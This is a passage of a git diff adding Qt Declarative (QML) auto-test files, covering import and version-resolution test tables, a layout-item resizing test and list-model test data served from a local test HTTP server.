+ foreach (const QDeclarativeError e, component.errors()) {
+ if (!actualerror.isEmpty())
+ actualerror.append("; ");
+ actualerror.append(e.description());
+ }
+ QCOMPARE(actualerror,expectederror);
+ } else {
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(QString(object->metaObject()->className()), type);
+ }
+}
+
+// QTBUG-17276
+void tst_qdeclarativelanguage::inlineAssignmentsOverrideBindings()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("inlineAssignmentsOverrideBindings.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("test").toInt(), 11);
+ delete o;
+}
+
+// QTBUG-19354
+void tst_qdeclarativelanguage::nestedComponentRoots()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("nestedComponentRoots.qml"));
+}
+
+// Import tests (QT-558)
+void tst_qdeclarativelanguage::importsBuiltin_data()
+{
+ // QT-610
+
+ QTest::addColumn<QString>("qml");
+ QTest::addColumn<QString>("type");
+ QTest::addColumn<QString>("error");
+
+ // import built-ins
+ QTest::newRow("missing import")
+ << "Test {}"
+ << ""
+ << "Test is not a type";
+ QTest::newRow("not in version 0.0")
+ << "import com.nokia.Test 0.0\n"
+ "Test {}"
+ << ""
+ << "Test is not a type";
+ QTest::newRow("version not installed")
+ << "import com.nokia.Test 99.0\n"
+ "Test {}"
+ << ""
+ << "module \"com.nokia.Test\" version 99.0 is not installed";
+ QTest::newRow("in version 0.0")
+ << "import com.nokia.Test 0.0\n"
+ "TestTP {}"
+ << "TestType"
+ << "";
+ QTest::newRow("qualified in version 0.0")
+ << "import com.nokia.Test 0.0 as T\n"
+ "T.TestTP {}"
+ << "TestType"
+ << "";
+ QTest::newRow("in version 1.0")
+ << "import com.nokia.Test 1.0\n"
+ "Test {}"
+ << "TestType"
+ << "";
+ QTest::newRow("qualified wrong")
+ << "import com.nokia.Test 1.0 as T\n" // QT-610
+ "Test {}"
+ << ""
+ << "Test is not a type";
+ QTest::newRow("qualified right")
+ << "import com.nokia.Test 1.0 as T\n"
+ "T.Test {}"
+ << "TestType"
+ << "";
+ QTest::newRow("qualified right but not in version 0.0")
+ << "import com.nokia.Test 0.0 as T\n"
+ "T.Test {}"
+ << ""
+ << "T.Test is not a type";
+ QTest::newRow("in version 1.1")
+ << "import com.nokia.Test 1.1\n"
+ "Test {}"
+ << "TestType"
+ << "";
+ QTest::newRow("in version 1.3")
+ << "import com.nokia.Test 1.3\n"
+ "Test {}"
+ << "TestType"
+ << "";
+ QTest::newRow("in version 1.5")
+ << "import com.nokia.Test 1.5\n"
+ "Test {}"
+ << "TestType"
+ << "";
+ QTest::newRow("changed in version 1.8")
+ << "import com.nokia.Test 1.8\n"
+ "Test {}"
+ << "TestType2"
+ << "";
+ QTest::newRow("in version 1.12")
+ << "import com.nokia.Test 1.12\n"
+ "Test {}"
+ << "TestType2"
+ << "";
+ QTest::newRow("old in version 1.9")
+ << "import com.nokia.Test 1.9\n"
+ "OldTest {}"
+ << "TestType"
+ << "";
+ QTest::newRow("old in version 1.11")
+ << "import com.nokia.Test 1.11\n"
+ "OldTest {}"
+ << "TestType"
+ << "";
+ QTest::newRow("multiversion 1")
+ << "import com.nokia.Test 1.11\n"
+ "import com.nokia.Test 1.12\n"
+ "Test {}"
+ << (!qmlCheckTypes()?"TestType2":"")
+ << (!qmlCheckTypes()?"":"Test is ambiguous. Found in com/nokia/Test in version 1.12 and 1.11");
+ QTest::newRow("multiversion 2")
+ << "import com.nokia.Test 1.11\n"
+ "import com.nokia.Test 1.12\n"
+ "OldTest {}"
+ << (!qmlCheckTypes()?"TestType":"")
+ << (!qmlCheckTypes()?"":"OldTest is ambiguous. Found in com/nokia/Test in version 1.12 and 1.11");
+ QTest::newRow("qualified multiversion 3")
+ << "import com.nokia.Test 1.0 as T0\n"
+ "import com.nokia.Test 1.8 as T8\n"
+ "T0.Test {}"
+ << "TestType"
+ << "";
+ QTest::newRow("qualified multiversion 4")
+ << "import com.nokia.Test 1.0 as T0\n"
+ "import com.nokia.Test 1.8 as T8\n"
+ "T8.Test {}"
+ << "TestType2"
+ << "";
+}
+
+void tst_qdeclarativelanguage::importsBuiltin()
+{
+ QFETCH(QString, qml);
+ QFETCH(QString, type);
+ QFETCH(QString, error);
+ testType(qml,type,error);
+}
+
+void tst_qdeclarativelanguage::importsLocal_data()
+{
+ QTest::addColumn<QString>("qml");
+ QTest::addColumn<QString>("type");
+ QTest::addColumn<QString>("error");
+
+ // import locals
+ QTest::newRow("local import")
+ << "import \"subdir\"\n" // QT-613
+ "Test {}"
+ << "QDeclarativeRectangle"
+ << "";
+ QTest::newRow("local import second")
+ << "import QtQuick 1.0\nimport \"subdir\"\n"
+ "Test {}"
+ << "QDeclarativeRectangle"
+ << "";
+ QTest::newRow("local import subsubdir")
+ << "import QtQuick 1.0\nimport \"subdir/subsubdir\"\n"
+ "SubTest {}"
+ << "QDeclarativeRectangle"
+ << "";
+ QTest::newRow("local import QTBUG-7721 A")
+ << "subdir.Test {}" // no longer allowed (QTBUG-7721)
+ << ""
+ << "subdir.Test - subdir is not a namespace";
+ QTest::newRow("local import QTBUG-7721 B")
+ << "import \"subdir\" as X\n"
+ "X.subsubdir.SubTest {}" // no longer allowed (QTBUG-7721)
+ << ""
+ << "X.subsubdir.SubTest - nested namespaces not allowed";
+ QTest::newRow("local import as")
+ << "import \"subdir\" as T\n"
+ "T.Test {}"
+ << "QDeclarativeRectangle"
+ << "";
+ QTest::newRow("wrong local import as")
+ << "import \"subdir\" as T\n"
+ "Test {}"
+ << ""
+ << "Test is not a type";
+ QTest::newRow("library precedence over local import")
+ << "import \"subdir\"\n"
+ "import com.nokia.Test 1.0\n"
+ "Test {}"
+ << (!qmlCheckTypes()?"TestType":"")
+ << (!qmlCheckTypes()?"":"Test is ambiguous. Found in com/nokia/Test and in subdir");
+}
+
+void tst_qdeclarativelanguage::importsLocal()
+{
+ QFETCH(QString, qml);
+ QFETCH(QString, type);
+ QFETCH(QString, error);
+ testType(qml,type,error);
+}
+
+void tst_qdeclarativelanguage::basicRemote_data()
+{
+ QTest::addColumn<QUrl>("url");
+ QTest::addColumn<QString>("type");
+ QTest::addColumn<QString>("error");
+
+ QString serverdir = "http://127.0.0.1:14447/qtest/declarative/qmllanguage/";
+
+ QTest::newRow("no need for qmldir") << QUrl(serverdir+"Test.qml") << "" << "";
+ QTest::newRow("absent qmldir") << QUrl(serverdir+"/noqmldir/Test.qml") << "" << "";
+ QTest::newRow("need qmldir") << QUrl(serverdir+"TestLocal.qml") << "" << "";
+}
+
+void tst_qdeclarativelanguage::basicRemote()
+{
+ QFETCH(QUrl, url);
+ QFETCH(QString, type);
+ QFETCH(QString, error);
+
+ TestHTTPServer server(14447);
+ server.serveDirectory(SRCDIR);
+
+ QDeclarativeComponent component(&engine, url);
+
+ QTRY_VERIFY(!component.isLoading());
+
+ if (error.isEmpty()) {
+ if (component.isError())
+ qDebug() << component.errors();
+ QVERIFY(!component.isError());
+ } else {
+ QVERIFY(component.isError());
+ }
+}
+
+void tst_qdeclarativelanguage::importsRemote_data()
+{
+ QTest::addColumn<QString>("qml");
+ QTest::addColumn<QString>("type");
+ QTest::addColumn<QString>("error");
+
+ QString serverdir = "http://127.0.0.1:14447/qtest/declarative/qmllanguage";
+
+ QTest::newRow("remote import") << "import \""+serverdir+"\"\nTest {}" << "QDeclarativeRectangle"
+ << "";
+ QTest::newRow("remote import with subdir") << "import \""+serverdir+"\"\nTestSubDir {}" << "QDeclarativeText"
+ << "";
+ QTest::newRow("remote import with local") << "import \""+serverdir+"\"\nTestLocal {}" << "QDeclarativeImage"
+ << "";
+ QTest::newRow("wrong remote import with undeclared local") << "import \""+serverdir+"\"\nWrongTestLocal {}" << ""
+ << "WrongTestLocal is not a type";
+ QTest::newRow("wrong remote import of internal local") << "import \""+serverdir+"\"\nLocalInternal {}" << ""
+ << "LocalInternal is not a type";
+ QTest::newRow("wrong remote import of undeclared local") << "import \""+serverdir+"\"\nUndeclaredLocal {}" << ""
+ << "UndeclaredLocal is not a type";
+}
+
+void tst_qdeclarativelanguage::importsRemote()
+{
+ QFETCH(QString, qml);
+ QFETCH(QString, type);
+ QFETCH(QString, error);
+
+ TestHTTPServer server(14447);
+ server.serveDirectory(SRCDIR);
+
+ testType(qml,type,error);
+}
+
+void tst_qdeclarativelanguage::importsInstalled_data()
+{
+ // QT-610
+
+ QTest::addColumn<QString>("qml");
+ QTest::addColumn<QString>("type");
+ QTest::addColumn<QString>("error");
+
+ // import installed
+ QTest::newRow("installed import 0")
+ << "import com.nokia.installedtest0 0.0\n"
+ "InstalledTestTP {}"
+ << "QDeclarativeRectangle"
+ << "";
+ QTest::newRow("installed import 0 as TP")
+ << "import com.nokia.installedtest0 0.0 as TP\n"
+ "TP.InstalledTestTP {}"
+ << "QDeclarativeRectangle"
+ << "";
+ QTest::newRow("installed import 1")
+ << "import com.nokia.installedtest 1.0\n"
+ "InstalledTest {}"
+ << "QDeclarativeRectangle"
+ << "";
+ QTest::newRow("installed import 2")
+ << "import com.nokia.installedtest 1.3\n"
+ "InstalledTest {}"
+ << "QDeclarativeRectangle"
+ << "";
+ QTest::newRow("installed import 3")
+ << "import com.nokia.installedtest 1.4\n"
+ "InstalledTest {}"
+ << "QDeclarativeText"
+ << "";
+ QTest::newRow("installed import minor version not available") // QTBUG-11936
+ << "import com.nokia.installedtest 0.1\n"
+ "InstalledTest {}"
+ << ""
+ << "module \"com.nokia.installedtest\" version 0.1 is not installed";
+ QTest::newRow("installed import minor version not available") // QTBUG-9627
+ << "import com.nokia.installedtest 1.10\n"
+ "InstalledTest {}"
+ << ""
+ << "module \"com.nokia.installedtest\" version 1.10 is not installed";
+ QTest::newRow("installed import major version not available") // QTBUG-9627
+ << "import com.nokia.installedtest 9.0\n"
+ "InstalledTest {}"
+ << ""
+ << "module \"com.nokia.installedtest\" version 9.0 is not installed";
+ QTest::newRow("installed import visibility") // QT-614
+ << "import com.nokia.installedtest 1.4\n"
+ "PrivateType {}"
+ << ""
+ << "PrivateType is not a type";
+}
+
+void tst_qdeclarativelanguage::importsInstalled()
+{
+ QFETCH(QString, qml);
+ QFETCH(QString, type);
+ QFETCH(QString, error);
+ testType(qml,type,error);
+}
+
+
+void tst_qdeclarativelanguage::importsOrder_data()
+{
+ QTest::addColumn<QString>("qml");
+ QTest::addColumn<QString>("type");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("double import") <<
+ "import com.nokia.installedtest 1.4\n"
+ "import com.nokia.installedtest 1.4\n"
+ "InstalledTest {}"
+ << (!qmlCheckTypes()?"QDeclarativeText":"")
+ << (!qmlCheckTypes()?"":"InstalledTest is ambiguous. Found in lib/com/nokia/installedtest in version 1.4 and 1.4");
+ QTest::newRow("installed import overrides 1") <<
+ "import com.nokia.installedtest 1.0\n"
+ "import com.nokia.installedtest 1.4\n"
+ "InstalledTest {}"
+ << (!qmlCheckTypes()?"QDeclarativeText":"")
+ << (!qmlCheckTypes()?"":"InstalledTest is ambiguous. Found in lib/com/nokia/installedtest in version 1.4 and 1.0");
+ QTest::newRow("installed import overrides 2") <<
+ "import com.nokia.installedtest 1.4\n"
+ "import com.nokia.installedtest 1.0\n"
+ "InstalledTest {}"
+ << (!qmlCheckTypes()?"QDeclarativeRectangle":"")
+ << (!qmlCheckTypes()?"":"InstalledTest is ambiguous. Found in lib/com/nokia/installedtest in version 1.0 and 1.4");
+ QTest::newRow("installed import re-overrides 1") <<
+ "import com.nokia.installedtest 1.4\n"
+ "import com.nokia.installedtest 1.0\n"
+ "import com.nokia.installedtest 1.4\n"
+ "InstalledTest {}"
+ << (!qmlCheckTypes()?"QDeclarativeText":"")
+ << (!qmlCheckTypes()?"":"InstalledTest is ambiguous. Found in lib/com/nokia/installedtest in version 1.4 and 1.0");
+ QTest::newRow("installed import re-overrides 2") <<
+ "import com.nokia.installedtest 1.4\n"
+ "import com.nokia.installedtest 1.0\n"
+ "import com.nokia.installedtest 1.4\n"
+ "import com.nokia.installedtest 1.0\n"
+ "InstalledTest {}"
+ << (!qmlCheckTypes()?"QDeclarativeRectangle":"")
+ << (!qmlCheckTypes()?"":"InstalledTest is ambiguous. Found in lib/com/nokia/installedtest in version 1.0 and 1.4");
+
+ QTest::newRow("installed import versus builtin 1") <<
+ "import com.nokia.installedtest 1.5\n"
+ "import QtQuick 1.0\n"
+ "Rectangle {}"
+ << (!qmlCheckTypes()?"QDeclarativeRectangle":"")
+ << (!qmlCheckTypes()?"":"Rectangle is ambiguous. Found in Qt and in lib/com/nokia/installedtest");
+ QTest::newRow("installed import versus builtin 2") <<
+ "import QtQuick 1.0\n"
+ "import com.nokia.installedtest 1.5\n"
+ "Rectangle {}"
+ << (!qmlCheckTypes()?"QDeclarativeText":"")
+ << (!qmlCheckTypes()?"":"Rectangle is ambiguous. Found in lib/com/nokia/installedtest and in Qt");
+ QTest::newRow("namespaces cannot be overridden by types 1") <<
+ "import QtQuick 1.0 as Rectangle\n"
+ "import com.nokia.installedtest 1.5\n"
+ "Rectangle {}"
+ << ""
+ << "Namespace Rectangle cannot be used as a type";
+ QTest::newRow("namespaces cannot be overridden by types 2") <<
+ "import QtQuick 1.0 as Rectangle\n"
+ "import com.nokia.installedtest 1.5\n"
+ "Rectangle.Image {}"
+ << "QDeclarativeImage"
+ << "";
+ QTest::newRow("local last 1") <<
+ "LocalLast {}"
+ << "QDeclarativeText"
+ << "";
+ QTest::newRow("local last 2") <<
+ "import com.nokia.installedtest 1.0\n"
+ "LocalLast {}"
+ << (!qmlCheckTypes()?"QDeclarativeRectangle":"")// i.e. from com.nokia.installedtest, not data/LocalLast.qml
+ << (!qmlCheckTypes()?"":"LocalLast is ambiguous. Found in lib/com/nokia/installedtest and in local directory");
+}
+
+void tst_qdeclarativelanguage::importsOrder()
+{
+ QFETCH(QString, qml);
+ QFETCH(QString, type);
+ QFETCH(QString, error);
+ testType(qml,type,error);
+}
+
+void tst_qdeclarativelanguage::importIncorrectCase()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("importIncorrectCase.qml"));
+
+ QList<QDeclarativeError> errors = component.errors();
+ QCOMPARE(errors.count(), 1);
+
+#if defined(Q_OS_MAC) || defined(Q_OS_WIN32)
+ QString expectedError = QLatin1String("cannot load module \"com.Nokia.installedtest\": File name case mismatch for \"") + QFileInfo(__FILE__).absoluteDir().filePath("data/lib/com/Nokia/installedtest/qmldir") + QLatin1String("\"");
+#else
+ QString expectedError = QLatin1String("module \"com.Nokia.installedtest\" is not installed");
+#endif
+
+ QCOMPARE(errors.at(0).description(), expectedError);
+}
+
+void tst_qdeclarativelanguage::qmlAttachedPropertiesObjectMethod()
+{
+ QObject object;
+
+ QCOMPARE(qmlAttachedPropertiesObject<MyQmlObject>(&object, false), (QObject *)0);
+ QCOMPARE(qmlAttachedPropertiesObject<MyQmlObject>(&object, true), (QObject *)0);
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("qmlAttachedPropertiesObjectMethod.1.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qmlAttachedPropertiesObject<MyQmlObject>(object, false), (QObject *)0);
+ QVERIFY(qmlAttachedPropertiesObject<MyQmlObject>(object, true) != 0);
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("qmlAttachedPropertiesObjectMethod.2.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QVERIFY(qmlAttachedPropertiesObject<MyQmlObject>(object, false) != 0);
+ QVERIFY(qmlAttachedPropertiesObject<MyQmlObject>(object, true) != 0);
+ }
+}
+
+void tst_qdeclarativelanguage::crash1()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0\nComponent {}", QUrl());
+}
+
+void tst_qdeclarativelanguage::crash2()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("crash2.qml"));
+}
+
+// QTBUG-8676
+void tst_qdeclarativelanguage::customOnProperty()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("customOnProperty.qml"));
+
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("on").toInt(), 10);
+
+ delete object;
+}
+
+// QTBUG-12601
+void tst_qdeclarativelanguage::variantNotify()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("variantNotify.qml"));
+
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("notifyCount").toInt(), 1);
+
+ delete object;
+}
+
+void tst_qdeclarativelanguage::revisions()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("revisions11.qml"));
+
+ VERIFY_ERRORS(0);
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass*>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->prop2(), 10.0);
+
+ delete object;
+ }
+ {
+ QDeclarativeEngine myEngine;
+ QDeclarativeComponent component(&myEngine, TEST_FILE("revisionssub11.qml"));
+
+ VERIFY_ERRORS(0);
+ MyRevisionedSubclass *object = qobject_cast<MyRevisionedSubclass*>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->prop1(), 10.0);
+ QCOMPARE(object->prop2(), 10.0);
+ QCOMPARE(object->prop3(), 10.0);
+ QCOMPARE(object->prop4(), 10.0);
+
+ delete object;
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("versionedbase.qml"));
+ VERIFY_ERRORS(0);
+ MySubclass *object = qobject_cast<MySubclass*>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->prop1(), 10.0);
+ QCOMPARE(object->prop2(), 10.0);
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativelanguage::revisionOverloads()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("allowedRevisionOverloads.qml"));
+ VERIFY_ERRORS(0);
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("disallowedRevisionOverloads.qml"));
+ QEXPECT_FAIL("", "QTBUG-13849", Abort);
+ QVERIFY(0);
+ VERIFY_ERRORS("disallowedRevisionOverloads.errors.txt");
+ }
+}
+
+void tst_qdeclarativelanguage::initTestCase()
+{
+ registerTypes();
+
+ // Registering the TestType class in other modules should have no adverse effects
+ qmlRegisterType<TestType>("com.nokia.TestPre", 1, 0, "Test");
+
+ qmlRegisterType<TestType>("com.nokia.Test", 0, 0, "TestTP");
+ qmlRegisterType<TestType>("com.nokia.Test", 1, 0, "Test");
+ qmlRegisterType<TestType>("com.nokia.Test", 1, 5, "Test");
+ qmlRegisterType<TestType2>("com.nokia.Test", 1, 8, "Test");
+ qmlRegisterType<TestType>("com.nokia.Test", 1, 9, "OldTest");
+ qmlRegisterType<TestType2>("com.nokia.Test", 1, 12, "Test");
+
+ // Registering the TestType class in other modules should have no adverse effects
+ qmlRegisterType<TestType>("com.nokia.TestPost", 1, 0, "Test");
+
+ // Create locale-specific file
+ // For POSIX, this will just be data/I18nType.qml, since POSIX is 7-bit
+ // For iso8859-1 locale, this will just be data/I18nType?????.qml where ????? is 5 8-bit characters
+ // For utf-8 locale, this will be data/I18nType??????????.qml where ?????????? is 5 8-bit characters, UTF-8 encoded
+ QFile in(TEST_FILE(QLatin1String("I18nType30.qml")).toLocalFile());
+ QVERIFY(in.open(QIODevice::ReadOnly));
+ QFile out(TEST_FILE(QString::fromUtf8("I18nType\303\201\303\242\303\243\303\244\303\245.qml")).toLocalFile());
+ QVERIFY(out.open(QIODevice::WriteOnly));
+ out.write(in.readAll());
+}
+
+void tst_qdeclarativelanguage::aliasPropertyChangeSignals()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("aliasPropertyChangeSignals.qml"));
+
+ VERIFY_ERRORS(0);
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test").toBool(), true);
+
+ delete o;
+ }
+
+ // QTCREATORBUG-2769
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("aliasPropertyChangeSignals.2.qml"));
+
+ VERIFY_ERRORS(0);
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test").toBool(), true);
+
+ delete o;
+ }
+}
+
+QTEST_MAIN(tst_qdeclarativelanguage)
+
+#include "tst_qdeclarativelanguage.moc"
diff --git a/tests/auto/declarative/qdeclarativelayoutitem/data/layoutItem.qml b/tests/auto/declarative/qdeclarativelayoutitem/data/layoutItem.qml
new file mode 100644
index 00000000..34971339
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelayoutitem/data/layoutItem.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+LayoutItem {//Sized by the layout
+ id: resizable
+ objectName: "resizable"
+ minimumSize: "100x100"
+ maximumSize: "300x300"
+ preferredSize: "200x200"
+}
diff --git a/tests/auto/declarative/qdeclarativelayoutitem/qdeclarativelayoutitem.pro b/tests/auto/declarative/qdeclarativelayoutitem/qdeclarativelayoutitem.pro
new file mode 100644
index 00000000..d89f16cd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelayoutitem/qdeclarativelayoutitem.pro
@@ -0,0 +1,13 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativelayoutitem.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
diff --git a/tests/auto/declarative/qdeclarativelayoutitem/tst_qdeclarativelayoutitem.cpp b/tests/auto/declarative/qdeclarativelayoutitem/tst_qdeclarativelayoutitem.cpp
new file mode 100644
index 00000000..83848b34
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelayoutitem/tst_qdeclarativelayoutitem.cpp
@@ -0,0 +1,125 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtTest/QtTest>
+#include <qdeclarativecomponent.h>
+#include <qdeclarativeengine.h>
+#include <qdeclarativeitem.h>
+#include <private/qdeclarativelayoutitem_p.h>
+#include <qgraphicsview.h>
+#include <qgraphicsscene.h>
+#include <qgraphicswidget.h>
+#include <qgraphicslinearlayout.h>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativelayoutitem : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativelayoutitem();
+
+private slots:
+ void test_resizing();
+};
+
+tst_qdeclarativelayoutitem::tst_qdeclarativelayoutitem()
+{
+}
+
+void tst_qdeclarativelayoutitem::test_resizing()
+{
+ //Create Layout (must be done in C++)
+ QGraphicsView view;
+ QGraphicsScene scene;
+ QGraphicsWidget *widget = new QGraphicsWidget();
+ QGraphicsLinearLayout *layout = new QGraphicsLinearLayout();
+ widget->setLayout(layout);
+ scene.addItem(widget);
+ view.setScene(&scene);
+ //Add the QML snippet into the layout
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/layoutItem.qml"));
+ QDeclarativeLayoutItem* obj = static_cast<QDeclarativeLayoutItem*>(c.create());
+ QVERIFY(obj);
+ QCOMPARE(obj->minimumSize(), QSizeF(100,100));
+ QCOMPARE(obj->preferredSize(), QSizeF(200,200));
+ QCOMPARE(obj->maximumSize(), QSizeF(300,300));
+
+ layout->addItem(obj);
+ layout->setContentsMargins(0,0,0,0);
+ widget->setContentsMargins(0,0,0,0);
+ view.show();
+
+ QVERIFY(obj!= 0);
+
+ widget->setGeometry(QRectF(0,0, 400,400));
+ QCOMPARE(obj->width(), 300.0);
+ QCOMPARE(obj->height(), 300.0);
+
+ widget->setGeometry(QRectF(0,0, 300,300));
+ QCOMPARE(obj->width(), 300.0);
+ QCOMPARE(obj->height(), 300.0);
+
+ widget->setGeometry(QRectF(0,0, 200,200));
+ QCOMPARE(obj->width(), 200.0);
+ QCOMPARE(obj->height(), 200.0);
+
+ widget->setGeometry(QRectF(0,0, 100,100));
+ QCOMPARE(obj->width(), 100.0);
+ QCOMPARE(obj->height(), 100.0);
+
+ widget->setGeometry(QRectF(0,0, 40,40));
+ QCOMPARE(obj->width(), 100.0);
+ QCOMPARE(obj->height(), 100.0);
+
+ widget->setGeometry(QRectF(0,0, 412,112));
+ QCOMPARE(obj->width(), 300.0);
+ QCOMPARE(obj->height(), 112.0);
+}
+
+
+QTEST_MAIN(tst_qdeclarativelayoutitem)
+
+#include "tst_qdeclarativelayoutitem.moc"
diff --git a/tests/auto/declarative/qdeclarativelistmodel/data/enumerate.qml b/tests/auto/declarative/qdeclarativelistmodel/data/enumerate.qml
new file mode 100644
index 00000000..93697f33
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistmodel/data/enumerate.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Item {
+ property string result
+
+ ListModel {
+ id: model
+
+ ListElement {
+ val1: 1
+ val2: 2
+ val3: "str"
+ val4: false
+ val5: true
+ }
+ }
+
+ Component.onCompleted: {
+ var element = model.get(0);
+
+ for (var i in element)
+ result += i+"="+element[i]+(element[i] ? "Y" : "N")+":";
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistmodel/data/model.qml b/tests/auto/declarative/qdeclarativelistmodel/data/model.qml
new file mode 100644
index 00000000..bfd547ed
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistmodel/data/model.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+
+Item {
+ id: item
+ property variant model
+ property bool done: false
+ property variant result
+
+ function evalExpressionViaWorker(commands) {
+ done = false
+ worker.sendMessage({'commands': commands, 'model': model})
+ }
+
+ WorkerScript {
+ id: worker
+ source: "script.js"
+ onMessage: {
+ item.result = messageObject.result
+ item.done = true
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistmodel/data/multipleroles.qml b/tests/auto/declarative/qdeclarativelistmodel/data/multipleroles.qml
new file mode 100644
index 00000000..cc6d9de8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistmodel/data/multipleroles.qml
@@ -0,0 +1,25 @@
+import QtQuick 1.0
+ListView {
+ width: 100
+ height: 250
+ delegate: Rectangle {
+ width: 100
+ height: 50
+ color: black ? "black": "white"
+ }
+ model: ListModel {
+ objectName: "listModel"
+ ListElement {
+ black: false
+ rounded: false
+ }
+ ListElement {
+ black: true
+ rounded: false
+ }
+ ListElement {
+ black: true
+ rounded: false
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelistmodel/data/script.js b/tests/auto/declarative/qdeclarativelistmodel/data/script.js
new file mode 100644
index 00000000..66a4acb8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistmodel/data/script.js
@@ -0,0 +1,13 @@
+WorkerScript.onMessage = function(msg) {
+ var result = null
+ try {
+ for (var i=0; i<msg.commands.length; i++) {
+ var c = 'msg.model.' + msg.commands[i]
+ result = eval(c)
+ }
+ msg.model.sync()
+ } catch(e) { }
+ WorkerScript.sendMessage({'done': true, 'result': result})
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml b/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml
new file mode 100644
index 00000000..ffe417ae
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+ListModel {
+ id: model
+ property bool ok : false
+
+ Component.onCompleted: {
+ model.append({"attrs": []})
+ model.get(0)
+ model.set(0, {"attrs": [{'abc': 123, 'def': 456}] } )
+ ok = ( model.get(0).attrs.get(0).abc == 123
+ && model.get(0).attrs.get(0).def == 456 )
+
+ model.set(0, {"attrs": [{'abc': 789, 'def': 101}] } )
+ ok = ( model.get(0).attrs.get(0).abc == 789
+ && model.get(0).attrs.get(0).def == 101 )
+
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelistmodel/qdeclarativelistmodel.pro b/tests/auto/declarative/qdeclarativelistmodel/qdeclarativelistmodel.pro
new file mode 100644
index 00000000..b5c5cf24
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistmodel/qdeclarativelistmodel.pro
@@ -0,0 +1,17 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+QT += script
